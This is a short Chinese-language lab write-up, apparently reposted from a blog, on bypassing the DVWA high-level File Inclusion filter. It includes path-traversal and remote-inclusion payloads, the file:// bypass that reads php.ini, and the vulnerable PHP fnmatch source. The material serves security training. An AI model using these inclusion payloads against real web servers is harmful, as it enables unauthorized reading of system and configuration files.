1.本地
1.?page=..././..././..././dvwa/php.ini //被过滤
2.使用file协议绕过fnmatch函数:?page=file:///var/www/html/dvwa/php.ini //绕过 //必须allow_url_fopen和allow_url_include置为on
2.远程
2.?page=hthttp://tp://127.0.0.1/fit/f1.txt //被过滤
2.上源码: File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch()匹配函数过滤了什么?
1.必须以file开头,否则就显示 ERROR: File not found!
2.等于include.php,否则就显示 ERROR: File not found!
3.Windows举例:
c:/program files/xxx————>file:///c:/program files/xxx
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/103015346